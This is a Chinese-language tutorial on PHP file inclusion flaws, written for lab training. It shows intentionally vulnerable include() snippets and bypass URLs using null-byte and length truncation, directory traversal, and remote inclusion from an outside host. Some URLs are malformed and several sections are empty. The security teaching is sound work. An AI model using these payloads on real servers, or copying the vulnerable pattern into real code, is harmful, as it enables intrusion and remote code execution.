文件包含


1、文件包含漏洞简介
1、1什么是文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数
时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
1、2 文件包含漏洞的成因
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包
含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变
量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做
合理的校验或者校验被绕过就造成了文件包含漏洞。
1、3 PHP中常见包含文件的函数
Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这
与程序开发人员的水平无关,而问题在于语言设计的弊端。
2.举例说明
2.1
有1.txt文件,并且无限制
<?php
$filename=$_GET['filename'];
include($filename)
?>
直接访问127.0.0.1,只能显示1.txt的代码。

但是利用文件包含漏洞,就可以运行1.txt的代码

2.2
1.txt有限制
<?php
$filename=$_GET['filename'];
include ($filename." .html" );
?>
指向了文件后缀为html
这样1.txt就变成了 1.txt.html 这样没有这个文件,所以会执行失败
那么如何绕过
%00截断:条件: magic quotes gpc = off php版本<5.3.4
http://127.0.0.1:8080/include.php?filename=1.txt%00

长度截断:条件: windows,点号需要长于256; linux长于4096
填充垃圾长度,使得.html无法被加上

2.3跨目录包含
http://1227.0.0.1:8080/include.php?filename=../../1.txt
3.远程包含

allow_url_include打开时支持远程包含
访问并执行远程文件

如果远程文件为后门代码,那么该代码会被执行并被连接
3.2有限制远程包含绕过
http://127.0.0.1:8080/include.php?filename=http: / / www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http :/ / www.xiaodi8.com/readme.txt%20
http: //127.0.0.1:8080/include.php?filename=http: // www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http : / / www.xiaodi8.com/readme.txt?
4.利用协议




5.靶场训练
无论直接访问还是利用参数访问,都执行了页面代码。也可根据页面代码发现存在文件包含漏洞


利用php伪协议查看目录

利用php伪协议查看文件,查看源代码





